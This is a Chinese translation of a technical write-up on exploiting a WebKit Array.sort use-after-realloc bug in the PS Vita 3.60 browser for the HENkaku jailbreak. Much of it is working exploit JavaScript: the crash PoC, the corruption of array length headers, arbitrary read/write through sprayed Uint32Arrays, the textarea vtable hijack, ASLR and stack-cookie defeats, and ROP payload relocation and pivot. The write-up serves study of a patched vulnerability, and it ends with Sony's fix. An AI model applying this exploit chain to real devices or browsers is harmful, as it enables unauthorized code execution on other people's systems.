來源:Exploiting WebKit on Vita 3.60

原作者:xyzz

譯:Holic (知道創宇404安全實驗室)

譯者注:瀏覽器作為用戶交互較多的應用,漏洞利用點相對多一些,而系統瀏覽器通常以高權限運行,對封閉的終端設備來說,這就提供了不錯的漏洞利用條件。本篇 PSV 的 Writeup 介紹了一個 Webkit 漏洞的利用思路,同理我們可以將思路發散到其他終端設備上,比如之前的 PS4 1.76版本 Webkit 堆溢出漏洞Kindle 的越獄 等...

簡介

這是 HENkaku 攻擊鏈系列 Writeup 的開始章節。我會盡量不對 KOTH challenge 進行太多破壞,僅僅記錄逆向工程的部分,以闡明大家所錯過的細節。然而,在這種情況下,挑戰無人問津且毫無進展。不管怎樣,我將會發布 writeup,既然我已經寫了,讓它爛在我的repo里面會是一種浪費。

The PoC

我們選擇的能在用戶模式執行代碼的目標便是 WebKit。Webkit 擁有 JavaScript 引擎,當我們需要繞過 ASLR 時,它對我們很有用。PS Vita 上的 Web 瀏覽器也不需要登錄 PSN,不會自動更新,允許實現非常簡單的攻擊利用鏈(訪問網站按下按鈕)。完美。

和沒有 ASLR 的 3DS 不同,Vita WebKit 有一個可接受的熵值為9 bits 的 ASLR,這就使暴力破解攻擊變得非常痛苦(平均需要重新加載 512 次來觸發漏洞,好怕!)。因此,我們需要一個比通用 UAF(釋放后重用) + vptr(虛函數表指針) 覆寫更好的漏洞。

感謝某些人,我設法得到了一個漂亮的 PoC 腳本,可以在最新的固件上造成 Vita 的瀏覽器崩潰。它不存在于 WebKit bugzilla/repo 的任何地方(或許在限制部分)。

那么作為開始的便是此腳本:

var almost_oversize = 0x3000;
var foo = Array.prototype.constructor.apply(null, new Array(almost_oversize));
var o = {};
o.toString = function () { foo.push(12345); return ""; }
foo[0] = 1;
foo[1] = 0;
foo[2] = o;
foo.sort();

如果你在使用 Sony 的 Webkit 的 Linux 主機上運行它,你將看到發生段錯誤。讓我們在調試器里面看看:

Thread 1 "GtkLauncher" received signal SIGSEGV, Segmentation fault.
0x00007ffff30bec35 in JSC::WriteBarrierBase<JSC::Unknown>::set (this=0x7fff98ef8048, owner=0x7fff9911ff60, value=...) at ../../Source/JavaScriptCore/runtime/WriteBarrier.h:152
152         m_value = JSValue::encode(value);
(gdb) bt
#0  0x00007ffff30bec35 in JSC::WriteBarrierBase<JSC::Unknown>::set (this=0x7fff98ef8048, owner=0x7fff9911ff60, value=...) at ../../Source/JavaScriptCore/runtime/WriteBarrier.h:152
#1  0x00007ffff32cb9bf in JSC::ContiguousTypeAccessor<(unsigned char)27>::setWithValue (vm=..., thisValue=0x7fff9911ff60, data=..., i=0, value=...) at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1069
#2  0x00007ffff32c8809 in JSC::JSArray::sortCompactedVector<(unsigned char)27, JSC::WriteBarrier<JSC::Unknown> > (this=0x7fff9911ff60, exec=0x7fff9d6e8078, data=..., relevantLength=3)
    at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1171
#3  0x00007ffff32c4933 in JSC::JSArray::sort (this=0x7fff9911ff60, exec=0x7fff9d6e8078) at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1214
#4  0x00007ffff329c844 in JSC::attemptFastSort (exec=0x7fff9d6e8078, thisObj=0x7fff9911ff60, function=..., callData=..., callType=@0x7fffffffbfb4: JSC::CallTypeNone)
    at ../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:623
#5  0x00007ffff329db4c in JSC::arrayProtoFuncSort (exec=0x7fff9d6e8078) at ../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:697

<the rest does not matter>

原來她在執行 Javascript Array.sort 函數的時候會遇到未映射的內存。但是這到底發生了什么?

The bug

讓我們看看 JSArray::sort 方法(Source/JavaScriptCore/runtime/JSArray.cpp)。因為我們的數組是 ArrayWithContiguous類型是由它如何創建決定的:Array.prototype.constructor.apply(null, new Array(almost_oversize));,我們進入sortCompactedVector 函數。這是它的完整定義:

template<IndexingType indexingType, typename StorageType>
void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength)
{
    if (!relevantLength)
        return;

    VM& vm = exec->vm();

    // Converting JavaScript values to strings can be expensive, so we do it once up front and sort based on that.
    // This is a considerable improvement over doing it twice per comparison, though it requires a large temporary
    // buffer. Besides, this protects us from crashing if some objects have custom toString methods that return
    // random or otherwise changing results, effectively making compare function inconsistent.

    Vector<ValueStringPair, 0, UnsafeVectorOverflow> values(relevantLength);
    if (!values.begin()) {
        throwOutOfMemoryError(exec);
        return;
    }

    Heap::heap(this)->pushTempSortVector(&values);

    bool isSortingPrimitiveValues = true;

    for (size_t i = 0; i < relevantLength; i++) {
        JSValue value = ContiguousTypeAccessor<indexingType>::getAsValue(data, i);
        ASSERT(indexingType != ArrayWithInt32 || value.isInt32());
        ASSERT(!value.isUndefined());
        values[i].first = value;
        if (indexingType != ArrayWithDouble && indexingType != ArrayWithInt32)
            isSortingPrimitiveValues = isSortingPrimitiveValues && value.isPrimitive();
    }

    // FIXME: The following loop continues to call toString on subsequent values even after
    // a toString call raises an exception.

    for (size_t i = 0; i < relevantLength; i++)
        values[i].second = values[i].first.toWTFStringInline(exec);

    if (exec->hadException()) {
        Heap::heap(this)->popTempSortVector(&values);
        return;
    }

    // FIXME: Since we sort by string value, a fast algorithm might be to use a radix sort. That would be O(N) rather
    // than O(N log N).

#if HAVE(MERGESORT)
    if (isSortingPrimitiveValues)
        qsort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort);
    else
        mergesort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort);
#else
    // FIXME: The qsort library function is likely to not be a stable sort.
    // ECMAScript-262 does not specify a stable sort, but in practice, browsers perform a stable sort.
    qsort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort);
#endif

    // If the toString function changed the length of the array or vector storage,
    // increase the length to handle the orignal number of actual values.
    switch (indexingType) {
    case ArrayWithInt32:
    case ArrayWithDouble:
    case ArrayWithContiguous:
        ensureLength(vm, relevantLength);
        break;

    case ArrayWithArrayStorage:
        if (arrayStorage()->vectorLength() < relevantLength) {
            increaseVectorLength(exec->vm(), relevantLength);
            ContiguousTypeAccessor<indexingType>::replaceDataReference(&data, arrayStorage()->vector());
        }
        if (arrayStorage()->length() < relevantLength)
            arrayStorage()->setLength(relevantLength);
        break;

    default:
        CRASH();
    }

    for (size_t i = 0; i < relevantLength; i++)
        ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first);

    Heap::heap(this)->popTempSortVector(&values);
}

此函數從 JS 數組中取值,將它們放入一個臨時向量中,對向量進行排序,然后將值放回 JS 數組。

在第 37 行,for 循環中,對于每一個元素,它的toString方法被調。當它被我們的對象 o 調用時,便是接下來發生的:

function () {
    foo.push(12345);
    return "";
}

一個整數被 push 進正在排序的數組。這導致了數組元素被重新分配。在81行,被排序的元素被寫回數組,然而,data指針從不用新分配的值進行更新

圖例說明:

灰色的區域是空閑/未分配的內存。在 Linux 上,實際是在調用 realloc 后取消映射。同時,data仍然指向舊的內存區域。因此,Web 瀏覽器試圖向未映射的內存寫入,產生段錯誤。

Out-of-bounds RW

越界讀寫

根據內容,JSArray 對象可能在內存中以不同的方式存儲。然而,我們正在操作的,是作為元數據頭(metadata header)(黃色部分)加上數組內容(綠色部分)連續存儲的。

內容只是一個JSValue結構的向量。

union EncodedValueDescriptor {
    int64_t asInt64;
    double asDouble;
    struct {
        int32_t payload;
        int32_t tag;
    } asBits;
};

The metadata header stores two interesting fields:

uint32_t m_publicLength; // The meaning of this field depends on the array type, but for all JSArrays we rely on this being the publicly visible length (array.length).
uint32_t m_vectorLength; // The length of the indexed property storage. The actual size of the storage depends on this, and the type.

我們的目標是覆蓋它們,并將數組“擴展”超出實際分配的范圍。

為了實現這一點,我們來修改o.toString方法:

var normal_length = 0x800;
var fu = new Array(normal_length);
var arrays = new Array(0x100);
o.toString = function () {
    foo.push(12345);
    for (var i = 0; i < arrays.length; ++i) {
        var bar = Array.prototype.constructor.apply(null, fu);
        bar[0] = 0;
        bar[1] = 1;
        bar[2] = 2;
        arrays[i] = bar;
    }
    return "";
}

如果我們運氣好的話,這便是所發生的:

在此例中(不反映真實數組大小),當使用data指針寫回排序值的時候,第二條和第三條 bar的 metadata headers 將被覆蓋。

我們用什么覆蓋它們?記住,綠色的區域是 JSValue 對象的向量。每一個 JSValue對象都是 8 字節的。但是,如果我們使用比如 0x8000000 的數據填充 foo ,我們只能控制 4 字節,其余的是用于tag 的。tag 是什么?

enum { Int32Tag =        0xffffffff };
enum { BooleanTag =      0xfffffffe };
enum { NullTag =         0xfffffffd };
enum { UndefinedTag =    0xfffffffc };
enum { CellTag =         0xfffffffb };
enum { EmptyValueTag =   0xfffffffa };
enum { DeletedValueTag = 0xfffffff9 };

enum { LowestTag =  DeletedValueTag };

這就是 Webkit JavaScriptCore 如何將不同的類型打包成單個JSValue 結構的:它可以是int,boolean,cell(指向一個對象的指針),null,undefined 或者 double 類型。因此如果我們 寫入54321,我們只能控制一半的結構,而另一半被設置成 Int32Tag 或者 0xffffffff

但是,我們也可以寫入double類型的值,比如54321.0。我們用這種方法控制所有 8 字節,但是還有其他限制(一些浮點指針規范化并不允許寫入真正的任意值。否則,你將能夠制作CellTag并將指針設置成任意值,這是很可怕的。有趣的是,在它確實允許之前,這是第一個Vita WebKit exploit使用過的!CVE-2010-1807)。

因此,我們還是寫入 double 類型的值吧。

foo[0] = o;
var len = u2d(0x80000000, 0x80000000);
for (var i = 1; i < 0x2000; ++i)
    foo[i] = len;
foo.sort();

u2d/d2u 是個在intdouble之間轉換的小助手:

var _dview = null;
// u2d/d2u taken from PSA-2013-0903
// wraps two uint32s into double precision
function u2d(low,hi)
{
    if (!_dview) _dview = new DataView(new ArrayBuffer(16));
    _dview.setUint32(0,hi);
    _dview.setUint32(4,low);
    return _dview.getFloat64(0);    
}

function d2u(d)
{
    if (!_dview) _dview = new DataView(new ArrayBuffer(16));
    _dview.setFloat64(0,d);
    return { low: _dview.getUint32(4), 
             hi:  _dview.getUint32(0) };    
}

那么,如果我們現在查看arrays 我們將會發現 JSArray 對象擴展超出了它們的真正邊界,而且它們的長度設置成了 0x8000000

因垂死聽,這成功破壞了 Vita 上的 JSArray 對象,但是 Linux 上的崩潰觸發了一個保護頁。但這并不重要,因為我們攻擊 Vita 而不是 Linux。

現在當我們向一個損壞的bar對象寫入的時候,我們可以實現一個越界任意讀寫,這很棒!但讓我們升級到一個真正的任意讀寫吧。

聰明的讀者可能會注意到,由于 Vita 是一個 32 位的終端, 我們將長度設置為 0x8000000 ,每個JSValue 是 8 字節的,我們實際上已經有了任意讀寫的能力了。然而,我們仍然在從原始的bar 向量基寫到偏移處,至今仍未泄漏任何堆的地址。此外,我們只能寫double類型的值,這超級不方便。

Arbitrary RW

為了獲得任意讀寫能力,我使用了與 2.00-3.20 WebKit 漏洞利用相同的技巧,詳情點此

Spray buffers:

buffers = new Array(spray_size);
buffer_len = 0x1344;
for (var i = 0; i < buffers.length; ++i)
    buffers[i] = new Uint32Array(buffer_len / 4);

在內存中查找 Uint32Array buffer,在損壞的緩沖區之前(此處稱為arr)的某個任意偏移開始進行搜索。

var start = 0x20000000-0x11000;
for(;; start--) {
    if (arr[start] != 0) {
        _dview.setFloat64(0, arr[start]);
        if (_dview.getUint32(0) == buffer_len / 4) { // Found Uint32Array
            _dview.setUint32(0, 0xEFFFFFE0);
            arr[start] = _dview.getFloat64(0); // change buffer size

            _dview.setFloat64(0, arr[start-2]);
            heap_addr = _dview.getUint32(4); // leak some heap address
            _dview.setUint32(4, 0)
            _dview.setUint32(0, 0x80000000);
            arr[start-2] = _dview.getFloat64(0); // change buffer offset
            break;
        }
    }
}

查找損壞的 Uint32Array

corrupted = null;
for (var i = 0; i < buffers.length; ++i) {
    if (buffers[i].byteLength != buffer_len) {
        corrupted = buffers[i];
        break;
    }
}
var u32 = corrupted;

既然我們有了真正的任意讀寫,而且已經泄漏了一些堆地址,接下來便是:

Code execution

使用 textarea 對象的舊技巧這里再次使用(為什么發明新輪子?)首先,修改原來的Uint32Array 堆噴射交織至textarea對象。

spray_size = 0x4000;

textareas = new Array(spray_size);
buffers = new Array(spray_size);
buffer_len = 0x1344;
textarea_cookie = 0x66656463;
textarea_cookie2 = 0x55555555;
for (var i = 0; i < buffers.length; ++i) {
    buffers[i] = new Uint32Array(buffer_len / 4);
    var e = document.createElement("textarea");
    e.rows = textarea_cookie;
    textareas[i] = e;
}

使用損壞的Uint32Array 對象,在內存中找到textarea

var some_space = heap_addr;
search_start = heap_addr;

for (var addr = search_start/4; addr < search_start/4 + 0x4000; ++addr) {
    if (u32[addr] == textarea_cookie) {
        u32[addr] = textarea_cookie2;
        textarea_addr = addr * 4;
        break;
    }
}

/*
    Change the rows of the Element object then scan the array of
    sprayed objects to find an object whose rows have been changed
*/
var found_corrupted = false;
var corrupted_textarea;
for (var i = 0; i < textareas.length; ++i) {
    if (textareas[i].rows == textarea_cookie2) {
        corrupted_textarea = textareas[i];
        break;
    }
}

現在我們有兩個“視圖”到同一個textarea:我們可以使用我們的u32對象在內存中直接修改它,我們還可以從 JavaScript 中調用它的函數。所以關鍵思路是通過我們的“內存訪問”覆蓋 vptr ,然后通過 JavaScript 調用修改的函數表。

Mitigation 1: ASLR

記住,Vita 有 ASLR , 這就是為什么我們為何不得不復雜化這么多漏洞利用方法。但是利用任意讀寫的方法,我們可以泄漏textarea vptr 并且完全擊敗 ASLR;

function read_mov_r12(addr) {
    first = u32[addr/4];
    second = u32[addr/4 + 1];
    return ((((first & 0xFFF) | ((first & 0xF0000) >> 4)) & 0xFFFF) | ((((second & 0xFFF) | ((second & 0xF0000) >> 4)) & 0xFFFF) << 16)) >>> 0;
}

var vtidx = textarea_addr - 0x70;
var textareavptr = u32[vtidx / 4];

SceWebKit_base = textareavptr - 0xabb65c;
SceLibc_base = read_mov_r12(SceWebKit_base + 0x85F504) - 0xfa49;
SceLibKernel_base = read_mov_r12(SceWebKit_base + 0x85F464) - 0x9031;
ScePsp2Compat_base = read_mov_r12(SceWebKit_base + 0x85D2E4) - 0x22d65;
SceWebFiltering_base = read_mov_r12(ScePsp2Compat_base + 0x2c688c) - 0x9e5;
SceLibHttp_base = read_mov_r12(SceWebFiltering_base + 0x3bc4) - 0xdc2d;
SceNet_base = read_mov_r12(SceWebKit_base + 0x85F414) - 0x23ED;
SceNetCtl_base = read_mov_r12(SceLibHttp_base + 0x18BF4) - 0xD59;
SceAppMgr_base = read_mov_r12(SceNetCtl_base + 0x9AB8) - 0x49CD;

我們談談代碼執行吧。在 Vita 上沒有 JIT ,也不可能分配 RWX 內存(只允許來自 PlayStation 的 Mobile App)。因此我們必須在 ROP 中寫整個 payload 。

之前的 exploit 使用了一個叫做 JSoS 的技術,點此查看詳情。然而,瀏覽器在破壞 JSArray 之后變得實在是不穩定,所以我們向盡可能少的運行 JavaScript 代碼。

因此,新版本的 roptoolDavee 編寫,支持 ASLR。這里的基本思想是 roptool 輸出中有一些字(一個 word 4 字節)現在具有分配給它們的重定位信息。在重定位 payload 之后,這只是向這些字添加不同的base(SceWebKit_base/SceLibc_base /等),我們可以正常啟動生成的 ROP 鏈。

Mitigation 2: Stack-pivot protection

由于固件版本未知,現在有了額外的漏洞緩解實施方案:有時內核將檢測你的線程棧指針實際是在其堆棧內的。如果不是的話,整個程序將被殺死。

為了繞過這個情況,我們需要將我們的 ROP 鏈植入線程堆棧。為了做到這點,我們需要線程棧虛地址。因為ASLR的存在,我們并不知道此地址。

然而我們有內存任意讀寫。有大量方法泄漏棧指針。我使用 setjmp函數。

這便是我們如何調用它的:

// copy vtable
for (var i = 0; i < 0x40; i++)
    u32[some_space / 4 + i] = u32[textareavptr / 4 + i];

u32[vtidx / 4] = some_space;

// backup our obj
for (var i = 0; i < 0x30; ++i)
    backup[i] = u32[vtidx/4 + i];

// call setjmp and leak stack base
u32[some_space / 4 + 0x4e] = SceLibc_base + 0x14070|1; // setjmp
corrupted_textarea.scrollLeft = 0; // call setjmp

現在我們的 corrupted_textarea 在內存中被 jmp_buf 覆蓋,此處包含堆棧指針。然后,我們回復如下原始數據。這是為了在我們試圖對損壞的 textarea 對象做一些事情的時候,JavaScript 不會使瀏覽器崩潰。

// restore our obj
for (var i = 0; i < 0x30; ++i)
    u32[vtidx/4 + i] = backup[i];

不幸的是,如果我們看到在 SceLibcsetjmp 的實現,我們得到另一個漏洞利用緩解方案。

ROM:81114070 setjmp
ROM:81114070                 PUSH            {R0,LR}
ROM:81114072                 BL              sub_81103DF2 // Returns high-quality random cookie
ROM:81114076                 POP             {R1,R2}
ROM:81114078                 MOV             LR, R2
ROM:8111407A                 MOV             R3, SP
ROM:8111407C                 STMIA.W         R1!, {R4-R11}
ROM:81114080                 EORS            R2, R0 // LR is XOR'ed with a cookie
ROM:81114082                 EORS            R0, R3 // SP is XOR'ed with the same cookie
ROM:81114084                 STMIA           R1!, {R0,R2}
ROM:81114086                 VSTMIA          R1!, {D8-D15}
ROM:8111408A                 VMRS            R2, FPSCR
ROM:8111408E                 STMIA           R1!, {R2}
ROM:81114090                 MOV.W           R0, #0
ROM:81114094                 BX              LR

基本上:

stored_LR = LR ^ cookie
stored_SP = SP ^ cookie

你能看明白這是怎么回事嗎?我們已經知道 SceWebKit_base,所以我們知道LR的真正價值。使用離散代數魔法:

cookie = stored_LR ^ LR
SP = stored_SP ^ cookie
SP = stored_SP ^ (stored_LR ^ LR)

或者在 JavaScript 中:

sp = (u32[vtidx/4 + 8] ^ ((u32[vtidx/4 + 9] ^ (SceWebKit_base + 0x317929)) >>> 0)) >>> 0;
sp -= 0xef818; // adjust to get SP base

現在我們可以將我們的 ROP payload 寫入線程棧并轉向它,而不會停止應用程序!

Finally, Code Execution

首先,我們重定位 ROP payload。記住我們如何獲得 payload 和 relocs。如果你看到 payload.js ,這將是你所看到的:

payload = [2119192402,65537,0,0,1912    // and it goes on...
relocs = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,  // ...

relocs 數組中的每個數字表示了 payload 成員應該如何重定位的。例如,0 表示不進行重定位,1 表示添加 rop_data_base,2 表示 添加 SceWebKit_base,3 表示添加SceLibKernel_base 等...

使用 roptool 生成的 ROP 鏈有兩個部分:代碼和數據。代碼只是 ROP 堆棧,數據是字符串或緩沖區。rop_data_base 是數據的 vaddr, rop_code_base 是代碼的 vaddr)

下一個循環將 payload 直接重定位到線程堆棧中:

// relocate the payload
rop_data_base = sp + 0x40;
rop_code_base = sp + 0x10000;

addr = sp / 4;
// Since relocs are applied to the whole rop binary, not just code/data sections, we replicate
// this behavior here. However, we split it into data section (placed at the top of the stack)
// and code section (placed at stack + some big offset)
for (var i = 0; i < payload.length; ++i, ++addr) {
    if (i == rop_header_and_data_size)
        addr = rop_code_base / 4;

    switch (relocs[i]) {
    case 0:
        u32[addr] = payload[i];
        break
    case 1:
        u32[addr] = payload[i] + rop_data_base;
        break;
    /*
        skipped most relocs
    */
    default:
        alert("wtf?");
        alert(i + " " + relocs[i]);
    }
}

在這個循環中,我們將有效 payload 分成兩個部分:代碼段和和數據段。我們不希望代碼接觸到數據,因為如果它們靠的太近,并且代碼在數據之后(這是 roptool 生成的 ROP 鏈的情況),當調用函數時,它可能會損壞一部分數據段(記著棧增長的方向,這是 ROP 鏈所沿著的方向)。

因此一旦我們完成重定位數據段:if (i == rop_header_and_data_size) ,我們轉向重定位代碼段:addr = rop_code_base / 4.

圖片的左邊是 ROP 鏈存儲在 payload 數組中的樣子。右邊展示了 ROP 鏈是如何寫入棧中的。

最后,我們來觸發 ROP 鏈吧。

// 54c8: e891a916 ldm r1, {r1, r2, r4, r8, fp, sp, pc}
u32[some_space / 4 + 0x4e] = SceWebKit_base + 0x54c8;

var ldm_data = some_space + 0x100;
u32[ldm_data/4 + 5] = rop_code_base;              // sp
u32[ldm_data/4 + 6] = SceWebKit_base + 0xc048a|1; // pc = pop {pc}

// This alert() is used to distinguish between the webkit exploit fail
// and second stage exploit fail
// - If you don't see it, the webkit exploit failed
// - If you see it and then the browser crashes, the second stage failed
alert("Welcome to HENkaku!");

corrupted_textarea.scrollLeft = ldm_data;         // trigger ropchain, r1=arg

// You won't see this alert() unless something went terribly wrong
alert("that's it");

corrupted_textarea.scrollLeft = ldm_data 完成時,由于覆蓋了 vtable ,我們的 LDM gadget 將會被調用。R1 會變成 ldm_data ,因此它將從緩沖區加載 SP = rop_code_basePC = pop {pc} ,這將會啟動 ROP 鏈。

Bonus: How Sony patched it

索尼按照 LGPL 的要求定期上傳他們的 Webkit 新源碼到此頁面。(若是他們沒有這么做,這種情況他們需要通過郵件要求一個友好的戳印)

將 3.60 和 3.61 版本之間的源碼進行比較,將會發現以下內容(已省略無用的東西):

diff -r 360/webkit_537_73/Source/JavaScriptCore/runtime/JSArray.cpp 361/webkit_537_73/Source/JavaScriptCore/runtime/JSArray.cpp
1087,1096c1087,1123
-     }
- };
- 
- 
- template<IndexingType indexingType, typename StorageType>
- void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength)
- {
-     if (!relevantLength)
-         return;
-     
---
+     }
+ };
+ 
+ template <>
+ ContiguousJSValues JSArray::storage<ArrayWithInt32, WriteBarrier<Unknown> >()
+ {
+     return m_butterfly->contiguousInt32();
+ }
+ 
+ template <>
+ ContiguousDoubles JSArray::storage<ArrayWithDouble, double>()
+ {
+     return m_butterfly->contiguousDouble();
+ }
+ 
+ template <>
+ ContiguousJSValues JSArray::storage<ArrayWithContiguous, WriteBarrier<Unknown> >()
+ {
+     return m_butterfly->contiguous();
+ }
+ 
+ template <>
+ ContiguousJSValues JSArray::storage<ArrayWithArrayStorage, WriteBarrier<Unknown> >()
+ {
+     ArrayStorage* storage = m_butterfly->arrayStorage();
+     ASSERT(!storage->m_sparseMap);
+     return storage->vector();
+ }
+ 
+ template<IndexingType indexingType, typename StorageType>
+ void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength)
+ {
+     data = storage<indexingType, StorageType>();
+ 
+     if (!relevantLength)
+         return;
+     
1167,1172c1194,1200
-         CRASH();
-     }
- 
-     for (size_t i = 0; i < relevantLength; i++)
-         ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first);
-     
---
+         CRASH();
+     }
+ 
+     data = storage<indexingType, StorageType>();
+     for (size_t i = 0; i < relevantLength; i++)
+         ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first);
+   

他們現在在更新data 指針之前寫入值。所以即使數組被重新分配,它仍然寫入正確的內存。如果你嘗試在在 3.61 版本上運行 HENkaku,這就是造成alert("restart the browser")錯誤的原因。干的漂亮,Sony!

Conclusion

今天就這些!我希望你能喜歡這個 writeup,就像我討厭寫 exploit 一樣。此后,在幾個月/年/世紀,我會帶給你一些更好的 writeup ,盡請期待。因為我寫了大部分的 HENkaku exploit 鏈,我被禁止參加 KOTH challenge :(,但至少你可以享受這篇writeup :)。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/98/